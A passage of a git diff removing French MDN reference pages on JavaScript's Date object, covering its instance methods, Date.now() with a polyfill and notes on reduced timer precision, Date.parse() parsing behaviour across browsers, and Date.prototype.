Accepte les mêmes paramètres que la forme longue du constructeur (c'est-à-dire entre 2 et 7) et renvoie le nombre de millisecondes entre cette date et le premier janvier 1970, 00:00:00 UTC (les secondes intercalaires (leap seconds) sont ignorées).
-
- -

Méthodes des instances

- -
-
{{jsxref("Date.prototype.getDate()")}}
-
Renvoie le jour du mois (entre 1 et 31) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getDay()")}}
-
Renvoie le jour de la semaine (entre 0 et 6) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getFullYear()")}}
-
Renvoie l'année (sans chiffre implicite, 1999 sera renvoyé et pas 99 par exemple) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getHours()")}}
-
Renvoie l'heure (entre 0 et 23) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getMilliseconds()")}}
-
Renvoie les millisecondes (entre 0 et 999) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getMinutes()")}}
-
Renvoie les minutes (entre 0 et 59) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getMonth()")}}
-
Renvoie le mois (entre 0 et 11) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getSeconds()")}}
-
Renvoie les secondes (entre 0 et 59) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.getTime()")}}
-
Renvoie la valeur numérique de la date donnée, exprimée en nombre de millisecondes écoulées depuis le premier janvier 1970, 00:00:00 UTC (pour les temps antérieurs, ce sont des valeurs négatives qui seront renvoyées).
-
{{jsxref("Date.prototype.getTimezoneOffset()")}}
-
Renvoie le décalage horaire, exprimé en minutes, pour la locale courante.
-
{{jsxref("Date.prototype.getUTCDate()")}}
-
Renvoie le jour du mois (entre 1 et 31) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getUTCDay()")}}
-
Renvoie le jour de la semaine (entre 0 et 6) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getUTCFullYear()")}}
-
Renvoie l'année (sans chiffre implicite, 1999 sera renvoyé plutôt que 99) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getUTCHours()")}}
-
Renvoie l'heure (entre 0 et 23) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
-
Renvoie les millisecondes (entre 0 et 999) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getUTCMinutes()")}}
-
Renvoie les minutes (entre 0 et 59) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getUTCMonth()")}}
-
Renvoie le mois (entre 0 et 11) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getUTCSeconds()")}}
-
Renvoie les secondes (entre 0 et 59) pour la date donnée, selon le temps universel.
-
{{jsxref("Date.prototype.getYear()")}}
-
Renvoie l'année (généralement exprimée sur 2 ou 3 chiffres) pour la date donnée selon le temps local. On utilisera plutôt {{jsxref("Date.prototype.getFullYear()", "getFullYear()")}}.
-
{{jsxref("Date.prototype.setDate()")}}
-
Définit le jour du mois pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.setFullYear()")}}
-
Définit l'année (sans chiffre implicite, on utilisera 1999 et pas 99) pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.setHours()")}}
-
Définit les heures pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.setMilliseconds()")}}
-
Définit les millisecondes pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.setMinutes()")}}
-
Définit les minutes pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.setMonth()")}}
-
Définit le mois pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.setSeconds()")}}
-
Définit les secondes pour la date donnée, selon le temps local.
-
{{jsxref("Date.prototype.setTime()")}}
-
Définit le nombre de millisecondes écoulées depuis le premier janvier 1970, 00:00:00 UTC et la date donnée. On utilisera des nombres négatifs pour les moments antérieurs à cette date.
-
{{jsxref("Date.prototype.setUTCDate()")}}
-
Définit le jour du mois pour la date donnée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCFullYear()")}}
-
Définit l'année (exprimée sans chiffres implicites, ex. 1999 et pas 99) pour la date donnée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCHours()")}}
-
Définit l'heure pour la date donnée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
-
Définit les millisecondes pour la date donnée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCMinutes()")}}
-
Définit les minutes pour la date donnée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCMonth()")}}
-
Définit le mois pour la date donnée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCSeconds()")}}
-
Définit les secondes pour la date donnée selon le temps universel.
-
{{jsxref("Date.prototype.setYear()")}}
-
Définit l'année (avec 2 à 3 chiffres) pour la date courante selon le temps local. On privilégiera la méthode {{jsxref("Date.prototype.setFullYear()", "setFullYear()")}} à la place.
-
{{jsxref("Date.prototype.toDateString()")}}
-
Renvoie la partie "date" (jour, mois, année) de l'objet {{jsxref("Date")}} en une chaîne de caractères compréhensible par un humain (anglophone) (ex. 'Thu Apr 12 2018').
-
{{jsxref("Date.prototype.toISOString()")}}
-
Convertit une date en une chaîne de caractères selon le format ISO 8601 Étendu.
-
{{jsxref("Date.prototype.toJSON()")}}
-
Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} avec {{jsxref("Date.prototype.toISOString()", "toISOString()")}}. Cette méthode est utilisée par {{jsxref("JSON.stringify()")}}.
-
{{jsxref("Date.prototype.toGMTString()")}}
-
Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} d'après le fuseau GMT (UTC). On utilisera plutôt {{jsxref("Date.prototype.toUTCString()", "toUTCString()")}}.
-
{{jsxref("Date.prototype.toLocaleDateString()")}}
-
Renvoie une chaîne de caractères représentant les jours / mois / années de la date courante avec une représentation propre à la locale courante (déduite des paramètres systèmes utilisés).
-
{{jsxref("Date.prototype.toLocaleFormat()")}}
-
Convertit la date courante en une chaîne de caractères avec un format décrit en paramètre via une chaîne de caractères.
-
{{jsxref("Date.prototype.toLocaleString()")}}
-
Renvoie une chaîne de caractères représentant la date sous le forme de la locale courante. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toLocaleString()")}}.
-
{{jsxref("Date.prototype.toLocaleTimeString()")}}
-
Renvoie une chaîne de caractères représentant les heures / minutes / secondes de la date courante avec une représentation propre à la locale courante (déduite des paramètres systèmes utilisés).
-
{{jsxref("Date.prototype.toString()")}}
-
Renvoie une chaîne de caractères représentant l'objet {{jsxref("Date")}} courant. Cette méthode surcharge la méthode {{jsxref("Object.prototype.toString()")}}.
-
{{jsxref("Date.prototype.toTimeString()")}}
-
Renvoie l'heure (avec les minutes et les secondes) d'une date sous la forme d'une chaîne de caractères compréhensible par un humain.
-
{{jsxref("Date.prototype.toUTCString()")}}
-
Convertit une date en chaîne de caractère en utilisant le temps universel comme référentiel.
-
{{jsxref("Date.prototype.valueOf()")}}
-
Renvoie la valeur primitive d'un objet {{jsxref("Date")}}. Cette méthode surcharge la méthode {{jsxref("Object.prototype.valueOf()")}}.
-
- -

Exemples

- -

Différentes façons de créer un objet Date

- -

Les exemples qui suivent illustrent différentes méthodes permettant de créer des dates JavaScript :

- -
-

Note : L'analyse de chaîne de caractères représentant des dates avec le constructeur Date  (ou Date.parse qui est équivalent) est fortement déconseillée en raison des différences de comportement existant entre les navigateurs.

-
- -
let aujourdhui = new Date()
-let anniversaire = new Date('September 22, 2018 15:00:00')
-let anniversaire = new Date('2018-09-22T15:00:00')
-let anniversaire = new Date(2018, 8, 22)            // the month is 0-indexed
-let anniversaire = new Date(2018, 8, 22, 15, 0, 0)
-
- -

Les années sur deux chiffres correspondent à la période 1900 – 1999

- -

Afin de créer et de manipuler des dates sur les années 0 à 99 de notre ère, on doit utiliser les méthodes {{jsxref("Date.prototype.setFullYear()")}} and {{jsxref("Date.prototype.getFullYear()")}}.

- -
let date = new Date(98, 1)  // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
-
-// Méthode dépréciée, 98 correspond également ici à 1998
-date.setYear(98)            // Sun Feb 01 1998 00:00:00 GMT+0000 (GMT)
-
-date.setFullYear(98)        // Sat Feb 01 0098 00:00:00 GMT+0000 (BST)
-
- -

Calculer le temps écoulé

- -

Dans les exemples suivants, on illustre comment calculer le temps écoulé entre deux dates JavaScript en millisecondes.

- -

En raison de durées différentes pour les jours (heure d'été / heure d'hiver), les mois et les années, il faudra faire attention et étudier le sujet avant d'exprimer des durées en unités supérieures à des heures / minutes / secondes.

- -
// Utiliser des objets Date
-let debut = Date.now()
-
-// Ici, l'évènement dont on veut mesurer la durée :
-faireQuelqueChosePendantLongtemps()
-let fin = Date.now()
-let duree = fin - debut // La durée écoulée, en millisecondes
-
- -
// En utilisant les méthodes natives
-let debut = new Date()
-
-// Ici, l'évènement dont on veut mesurer la durée :
-faireQuelqueChosePendantLongtemps()
-let fin = new Date()
-let duree = fin.getTime() - debut.getTime() // La durée écoulée, en millisecondes
-
- -
// Pour tester le temps d'exécution d'une fonction
-function afficheDureeEcoulee(fTest) {
-  let debut = Date.now(),
-      valRetour = fTest(),
-      fin = Date.now()
-
-  console.log(`Durée écoulée : ${ String(fin - debut) } millisecondes`)
-  return valRetour
-}
-
-let valeurDeRetour = afficheDureeEcoulee(maFonctionATester)
-
- -
-

Note : Pour les navigateurs qui prennent en charge l'{{domxref("Window.performance", "API Web Performance", "", 1)}}, la méthode {{domxref("Performance.now()")}} peut fournir un outil de mesure des durées écoulées plus fiable et précis que {{jsxref("Date.now()")}}.

-
- -

Obtenir le nombre de secondes écoulées depuis l'epoch ECMAScript

- -
let secondes = Math.floor(Date.now() / 1000)
-
- -

Dans ce cas, on renvoie un entier et c'est pour ça qu'on utilise {{jsxref("Math.floor()")}}. Par ailleurs, on n'utilise pas {{jsxref("Math.round()")}} afin d'avoir le nombre de secondes effectivement écoulées.

- -

Spécifications

- - - - - - - - - - - - -
Spécification
{{SpecName('ESDraft', '#sec-date-objects', 'Date')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date", 3)}}

- -

Voir aussi

- -
    -
  • Le constructeur {{jsxref("Date/Date", "Date()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/now/index.html b/files/fr/web/javascript/reference/objets_globaux/date/now/index.html deleted file mode 100644 index 008db50f65..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/now/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: Date.now() -slug: Web/JavaScript/Reference/Objets_globaux/Date/now -tags: - - Date - - JavaScript - - Méthode - - Reference - - polyfill -translation_of: Web/JavaScript/Reference/Global_Objects/Date/now ---- -
{{JSRef}}
- -

La méthode Date.now() renvoie le nombre de millisecondes écoulées depuis le 1er Janvier 1970 00:00:00 UTC.

- -
{{EmbedInteractiveExample("pages/js/date-now.html")}}
- - - -

Syntaxe

- -
var tempsEnMs = Date.now();
-
- -

Valeur de retour

- -

Le nombre de millisecondes écoulées depuis le premier janvier 1970 à minuit UTC.

- -

Description

- -

La méthode now() renvoie le nombre de millisecondes écoulées depuis le 1er janvier 1970 00:00:00 UTC sous forme d'un {{jsxref("Number")}} (nombre).

- -

now() étant une méthode statique de {{jsxref("Date")}}, on utilisera toujours la forme Date.now().

- -

Prothèse d'émulation (polyfill)

- -

Cette méthode a été standardisée dans la 5e édition d'ECMA-262. Les moteurs JavaScript ne la supportant pas peuvent l'émuler de la façon suivante :

- -
if (!Date.now) {
-  Date.now = function now() {
-    return new Date().getTime();
-  };
-}
-
- -

Précision temporelle réduite

- -

Afin de protéger contre les attaques de minutage et d'identification, la précision de new Date.now() peut être arrondie en fonction des paramètres du navigateur. Pour Firefox, la préférence privacy.reduceTimerPrecision est activée par défaut et vaut, par défaut 20ms pour Firefox 59 et 2ms pour Firefox 60.

- -
// Précision temporelle réduite (2ms) pour Firefox 60
-new Date().getTime();
-// 1519211809934
-// 1519211810362
-// 1519211811670
-// ...
-
-
-// précision temporelle avec `privacy.resistFingerprinting` activé
-new Date().getTime();
-// 1519129853500
-// 1519129858900
-// 1519129864400
-// ...
-
- -

Pour Firefox, il est également possible d'activer privacy.resistFingerprinting auquel cas la précision sera 100ms ou la valeur de privacy.resistFingerprinting.reduceTimerPrecision.microseconds selon laquelle est plus grande.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES5.1', '#sec-15.9.4.4', 'Date.now')}}{{Spec2('ES5.1')}}Définition initiale. Implémentée avec JavaScript 1.5.
{{SpecName('ES6', '#sec-date.now', 'Date.now')}}{{Spec2('ES6')}} 
{{SpecName('ESDraft', '#sec-date.now', 'Date.now')}}{{Spec2('ESDraft')}} 
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.now")}}

- -

Voir aussi

- -
    -
  • {{domxref("window.performance.now")}} - renvoie des timestamps (horodatages) avec une précision supérieure à la milliseconde pour mesurer la performance des pages web.
    • -
  • {{domxref("console.time")}} / {{domxref("console.timeEnd")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/parse/index.html b/files/fr/web/javascript/reference/objets_globaux/date/parse/index.html deleted file mode 100644 index fc7a5c3e14..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/parse/index.html +++ /dev/null @@ -1,198 +0,0 @@ ---- -title: Date.parse() -slug: Web/JavaScript/Reference/Objets_globaux/Date/parse -tags: - - Date - - JavaScript - - Méthode - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date/parse ---- -
{{JSRef}}
- -

La méthode Date.parse() analyse la représentation textuelle d'une date, et renvoie le nombre de millisecondes depuis le 1er janvier 1970, 00:00:00 UTC jusqu'à cette date ou NaN si la chaîne n'est pas reconnue ou décrit une date invalide (par exemple 2015-02-31).

- -
-

Note : Pour les anciennes implémentations (avant ES5), le résultat de Date.parse variait d'une implémentation à l'autre. Attention donc à la compatibilité avec ces anciennes versions.

-
- -
{{EmbedInteractiveExample("pages/js/date-parse.html")}}
- - - -

Syntaxe

- -

Appel direct :

- -
Date.parse(dateString)
- -

Appel implicite :

- -
new Date(dateString)
- -

Paramètres

- -
-
dateString
-
Une chaine de caractères représentant une date dans une version simplifiéee d'ISO 8601 (d'autres formats peuvent être utilisés mais les résultats ne sont pas garantis).
-
- -

Valeur de retour

- -

Un nombre correspondant au nombre de millisecondes écoulées entre le premier janvier 1970 à minuit UTC et la date indiquée en argument sous la forme d'une chaîne de caractères. Si l'argument ne permet pas de décrire une date valide, c'est {{jsxref("NaN")}} qui sera renvoyé.

- -

Description

- -

La méthode parse prend en argument une chaine de caractères contenant une date en paramètre (comme "Dec 25, 1995") et renvoie le nombre de millièmes de secondes depuis le 1er janvier 1970, 00:00:00 UTC. Cette fonction est utile pour définir des valeurs de dates à partir de représentations textuelles, par exemple en conjonction avec la méthode {{jsxref("Objets_globaux/Date/setTime", "setTime()")}} et l'objet {{jsxref("Objets_globaux/Date", "Date")}}.

- -

Format de la chaîne de caractères

- -

À partir d'une chaine de caractères représentant une date, parse renvoie une valeur de temps. La syntaxe acceptée est un format simplifié de la norme ISO 8601. On pourra par exemple utiliser "2011-10-10" (date uniquement), "2011-10-10T14:48:00" (date et heure) ou "2011-10-10T14:48:00.000+09:00" (date, heure, millisecondes et fuseau horaire).

- -

Si aucun fuseau horaire n'est spécifié, les chaînes représentant uniquement des dates seront considérées comme UTC et les dates / heures seront considérées comme locales.

- -

Lorsque des indicateurs de fuseau horaire sont utilisés, la valeur renvoyée correspondra toujours au nombre de millisecondes écoulées entre l'argument et le premier janvier 1970 à minuit UTC.

- -

parse() est une méthode statique de {{jsxref("Date")}} et on invoquera ainsi Date.parse() plutôt que parse() sur une instance d'un objet Date.

- -

Différences entre les fuseaux horaires supposés

- -

Avec une chaîne comme "March 7, 2014", parse() supposera un fuseau horaire local, avec une chaîne au format ISO comme "2014-03-07", la méthode supposera un fuseau horaire UTC en ES5 et un fuseau horaire local pour ECMAScript 2015. Ainsi les objets {{jsxref("Date")}} construits avec ces chaînes représenteront des instants différents, sauf si le fuseau horaire local du système utilisé correspond à UTC. Cela signifie que deux dates représentées de façon textuelles semblables peuvent donner des dates différentes (ce comportement doit être corrigé avec ECMAScript 6 afin que les deux dates soient traitées de façon locale).

- -

Traitement laissé libre à l'implémentation

- -

Le standard ECMAScript dicte que si la chaîne utilisée n'est pas conforme au format standard, alors la fonction peut utiliser une heuristique et/ou un algorithme d'analyse de texte propre à l'implémentation. Les chaînes impossibles à décoder et/ou qui contiennent des éléments non-conformes aux formats ISO doivent renvoyer {{jsxref("NaN")}} lors de l'appel à Date.parse().

- -

Cependant, les valeurs invalides qui ne sont pas reconnues dans un format ISO pris en charge par ECMA-262 peuvent ou non engendrer la valeur {{jsxref("NaN")}} selon le navigateur et les valeurs utilisées. Par exemple :

- -
// Chaîne non ISO avec des valeurs invalides
-new Date('23/25/2014');
- -

sera traitée comme la date locale du 25 novembre 2015 avec Firefox 30 et comme invalide avec Safari 7. Cependant, si la chaîne est reconnue dans un format ISO mais contient des valeurs invalides, la méthode renverra {{jsxref("NaN")}} pour tous les navigateurs conformes à ES5 (ou aux versions ultérieures) :

- -
// Chaîne ISO avec des valeurs invalides new
-Date('2014-25-23').toISOString();
-// renvoie "RangeError: invalid date" pour les navigateurs ES5
- -

L'implémentation spécifique de SpiderMonkey peut être trouvée dans le fichier jsdate.cpp. La chaîne "10 06 2014" est un exemple de chaîne non ISO, utiliser parse() sur cette chaîne entraînera le moteur JavaScript à utiliser son implémentation de recours. Voir ce bug pour une explication rapide de la façon dont est faite l'analyse de la chaîne.

- -
new Date('10 06 2014');
- -

sera traitée comme la date locale du 6 octobre 2014 et non comme le 10 juin 2014. D'autres exemples :

- -
new Date('toto-truc 2014').toString();
-// renvoie : "Invalid Date"
-Date.parse('toto-truc 2014');
-// renvoie : NaN
- -

Exemples

- -

Utiliser Date.parse()

- -

Les appels suivants renvoient tous 1546300800000. Dans le premier appel, on indique uniquement la date (et donc le fuseau UTC implicite). Les chaînes qui suivent utilisent une indication de fuseau horaire selon la norme ISO (Z et +00:00)

- -
Date.parse("2019-01-01")
-Date.parse("2019-01-01T00:00:00.000Z")
-Date.parse("2019-01-01T00:00:00.000+00:00")
-
- -

L'appel suivant, qui ne précise pas le fuseau horaire, fournira le nombre de millisecondes écoulées entre le premier janvier 1970 minuit UTC et le premier janvier 2019 à minuit selon l'heure locale du système utilisé.

- -
Date.parse("2019-01-01T00:00:00")
-
- -

Chaînes de caractères non-standard

- -
-

Note : Cette section contient des exemples qui reposent sur des comportements spécifiques aux implémentations et on peut donc avoir des incohérences entre les moteurs utilisés.

-
- -

Si IPOdate est un objet {{jsxref("Date")}}, on peut définir sa valeur au 9 août 1995 (heure locale), de la façon suivante :

- -
IPOdate.setTime(Date.parse('Aug 9, 1995'));
-
- -

Voici un autre exemple avec une chaîne qui ne suit pas le format standard.

- -
Date.parse('Aug 9, 1995');
-
- -

Cette méthode renverra 807937200000 pour le fuseau horaire GMT-0300 et d'autres valeurs pour d'autres fuseaux car la chaîne n'indique pas le fuseau horaire et ne respecte pas le format ISO (le fuseau considéré par défaut est donc le fuseau local).

- -
Date.parse('Wed, 09 Aug 1995 00:00:00 GMT');
-
- -

Renvoie 807926400000 quel que soit le fuseau local car on indique GMT.

- -
Date.parse('Wed, 09 Aug 1995 00:00:00');
-
- -

Renvoie 807937200000 dans le fuseau GMT-0300 et d'autres valeurs pour d'autres fuseaux car aucune indication de fuseau n'est fournie et que la chaîne n'est pas au format ISO, elle est donc traitée comme un temps local.

- -
Date.parse('Thu, 01 Jan 1970 00:00:00 GMT');
-
- -

Renvoie 0 quel que soit le fuseau local car l'indicateur GMT est fourni.

- -
Date.parse('Thu, 01 Jan 1970 00:00:00');
-
- -

Renvoie 14400000 pour le fuseau GMT-0400 et d'autres valeurs dans d'autres fuseaux car aucune indication de fuseau n'est fournie et la chaîne n'est pas au format ISO, elle est donc traitée comme un temps local.

- -
Date.parse('Thu, 01 Jan 1970 00:00:00 GMT-0400');
-
- -

Renvoie 14400000 quel que soit le fuseau car l'indicateur GMT est fourni.

- -

Spécifications

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
SpécificationÉtatCommentaires
{{SpecName('ES1')}}{{Spec2('ES1')}}Définition initiale. Implémentée avec JavaScript 1.0.
{{SpecName('ES5.1', '#sec-15.9.4.2', 'Date.parse')}}{{Spec2('ES5.1')}}Ajout du format ISO 8601 simplifié.
{{SpecName('ES6', '#sec-date.parse', 'Date.parse')}}{{Spec2('ES6')}}
{{SpecName('ESDraft', '#sec-date.parse', 'Date.parse')}}{{Spec2('ESDraft')}}
- -

Compatibilité des navigateurs

- - - -

{{Compat("javascript.builtins.Date.parse")}}

- -

Notes de compatibilité

- -
    -
  • À partir de Firefox 49 ({{geckoRelease(49)}}, l'interprétation des années exprimées sur deux chiffres est alignée avec Google Chrome (et non plus avec Internet Explorer). Désormais, les années exprimées sur deux chiffres et strictement inférieures à 50 seront considérées comme des années du XXIe siècle. Ainsi, 04/16/17 correspondait avant au 16 avril 1917 et correspond désormais au 16 avril 2017. Cela évite des problèmes d'interopérabilité et d'ambiguïté et cette méthode est recommandée par le format ISO 8601 (cf. {{bug(1265136)}}).
    • -
  • Google Chrome acceptera une chaîne de caractères avec un nombre pour le paramètre dateString. Ainsi, si on exécute !!Date.parse("42") dans Firefox, on obtiendra false tandis que que Google Chrome donnera true car "42" sera interprété comme la date du premier janvier 2042.
    • -
- -

Voir aussi

- -
    -
  • {{jsxref("Date.UTC()")}}
    • -
diff --git a/files/fr/web/javascript/reference/objets_globaux/date/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/date/prototype/index.html deleted file mode 100644 index 5d65e47b12..0000000000 --- a/files/fr/web/javascript/reference/objets_globaux/date/prototype/index.html +++ /dev/null @@ -1,183 +0,0 @@ ---- -title: Date.prototype -slug: Web/JavaScript/Reference/Objets_globaux/Date/prototype -tags: - - Date - - JavaScript - - Propriété - - Prototype - - Reference -translation_of: Web/JavaScript/Reference/Global_Objects/Date -translation_of_original: Web/JavaScript/Reference/Global_Objects/Date/prototype ---- -
{{JSRef}}
- -

La propriété Date.prototype représente le prototype du constructeur {{jsxref("Date")}}.

- -
{{js_property_attributes(0,0,1)}}
- -

Description

- -

Les instances de {{jsxref("Date")}} JavaScript héritent de Date.prototype. Le prototype du constructeur peut être modifié afin d'altérer l'ensemble des instances de Date pour y ajouter des propriétés et/ou des méthodes.

- -

Pour des questions de compatibilité avec le calcul des millénaires (en d'autres termes, pour prendre en compte l'année 2000), il faut toujours renseigner l'année entière ; par exemple, utilisez 1998, et non 98. Afin d'obtenir ces valeurs JavaScript possède les méthodes {{jsxref("Date/getFullYear", "getFullYear()")}}, {{jsxref("Date/setFullYear", "setFullYear()")}}, {{jsxref("Date/getUTCFullYear", "getUTCFullYear()")}} et {{jsxref("Date/setUTCFullYear", "setUTCFullYear()")}}.

- -

Avec ECMAScript 6, l'objet Date.prototype n'est plus une instance de {{jsxref("Date")}}, c'est un objet « ordinaire ».

- -

Propriétés

- -
-
Date.prototype.constructor
-
Renvoie la fonction qui crée une instance de Date. Par défaut, ce sera le constructeur {{jsxref("Date", "Date")}}.
-
- -

Méthodes

- -

Lecture (getters)

- -
-
{{jsxref("Date.prototype.getDate()")}}
-
Renvoie le jour du mois (1-31) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getDay()")}}
-
Renvoie le jour de la semaine (0-6) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getFullYear()")}}
-
Renvoie l'année (avec 4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getHours()")}}
-
Renvoie l'heure (0-23) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getMilliseconds()")}}
-
Renvoie les millièmes de secondes (0-999) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getMinutes()")}}
-
Renvoie les minutes (0-59) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getMonth()")}}
-
Renvoie le mois (0-11) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getSeconds()")}}
-
Renvoie les secondes (0-59) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.getTime()")}}
-
Renvoie la valeur numérique de la date spécifiée sous la forme du nombre de millisecondes depuis le 1er janvier 1970, 00:00:00 UTC (les valeurs renvoyées pour les dates antérieures seront négatives).
-
{{jsxref("Date.prototype.getTimezoneOffset()")}}
-
Renvoie le décalage de fuseau horaire en minutes pour l'heure locale courante.
-
{{jsxref("Date.prototype.getUTCDate()")}}
-
Renvoie le jour (date) du mois (1-31) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.getUTCDay()")}}
-
Renvoie le jour de la semaine (0-6) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.getUTCFullYear()")}}
-
Renvoie l'année (avec 4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.getUTCHours()")}}
-
Renvoie les heures (0-23) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.getUTCMilliseconds()")}}
-
Renvoie les millièmes de seconde (0-999) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.getUTCMinutes()")}}
-
Renvoie les minutes (0-59) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.getUTCMonth()")}}
-
Renvoie le mois (0-11) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.getUTCSeconds()")}}
-
Renvoie les secondes (0-59) pour la date spécifiée selon le temps universel
-
{{jsxref("Date.prototype.getYear()")}} {{ Deprecated_inline() }}
-
Renvoie l'année (habituellement avec 2 ou 3 chiffres) pour la date spécifiée selon l'heure locale. Utilisez plutôt {{jsxref("Date/getFullYear", "getFullYear()")}}.
-
- -

Écriture (setters)

- -
-
{{jsxref("Date.prototype.setDate()")}}
-
Définit le jour du mois pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.setFullYear()")}}
-
Définit l'année complète (4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.setHours()")}}
-
Définit les heures pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.setMilliseconds()")}}
-
Définit les millièmes de seconde pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.setMinutes()")}}
-
Définit les minutes pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.setMonth()")}}
-
Définit le mois pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.setSeconds()")}}
-
Définit les secondes pour la date spécifiée selon l'heure locale.
-
{{jsxref("Date.prototype.setTime()")}}
-
Règle l'objet Date sur le temps représenté par un nombre de millisecondes depuis le 1er janvier 1970, 00:00:00 UTC.
-
{{jsxref("Date.prototype.setUTCDate()")}}
-
Définit le jour du mois pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCFullYear()")}}
-
Définit l'année complète (4 chiffres pour une année à 4 chiffres) pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCHours()")}}
-
Définit les heures pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCMilliseconds()")}}
-
Définit les millièmes de seconde pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCMinutes()")}}
-
Définit les minutes pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCMonth()")}}
-
Définit le mois pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.setUTCSeconds()")}}
-
Définit les secondes pour la date spécifiée selon le temps universel.
-
{{jsxref("Date.prototype.setYear()")}} {{ Deprecated_inline() }}
-
Définit l'année (habituellement avec 2 ou 3 chiffres) pour une date spécifiée selon le temps universel. Utilisez plutôt {{jsxref("Date/setFullYear", "setFullYear()")}}.
-
- -

Lecture avec conversion

- -
-
{{jsxref("Date.prototype.toDateString()")}}
-
Renvoie la partie « date » de l'objet Date sous la forme d'une chaîne de caractères lisible par un humain (autrement dit quelque chose comme "Thu Apr 12 2018").
-
{{jsxref("Date.prototype.toISOString()")}}
-
Convertit une date en chaîne de caractère respectant la norme ISO 8601 Format Étendu.
-
{{jsxref("Date.prototype.toJSON()")}}
-
Renvoie une chaîne de caractère représentant la date en utilisant {{jsxref("Date/toISOString", "toISOString()")}}. Pour une utilisation avec {{jsxref("JSON.stringify()")}}.
-
{{jsxref("Date.prototype.toGMTString()")}} {{ Deprecated_inline() }}
-
Convertit une date en une chaîne de caractères, en utilisant les conventions GMT. Utilisez plutôt {{jsxref("Date/toUTCString", "toUTCString()")}}.
-
{{jsxref("Date.prototype.toLocaleDateString()")}}
-
Renvoie la partie « date » de l'objet Date sous la forme d'une chaîne de caractères adaptée selon la locale en utilisant les réglages du système pour déterminer la locale à utiliser.
-
{{jsxref("Date.prototype.toLocaleFormat()")}} {{ Non-standard_inline() }}
-
Convertit une date en une chaîne de caractères, en utilisant une chaîne de formatage.
-
{{jsxref("Date.prototype.toLocaleString()")}}
-
Convertit une date en une chaîne de caractères, en utilisant les conventions locales courantes. Remplace la méthode {{jsxref("Object/toLocaleString", "Object.prototype.toLocaleString()")}}.
-
{{jsxref("Date.prototype.toLocaleTimeString()")}}
-
Renvoie la partie « heure » de l'objet Date sous la forme d'une chaîne, en utilisant les conventions locales courantes.
-
{{jsxref("Date.prototype.toSource()")}} {{ Non-standard_inline() }}
-
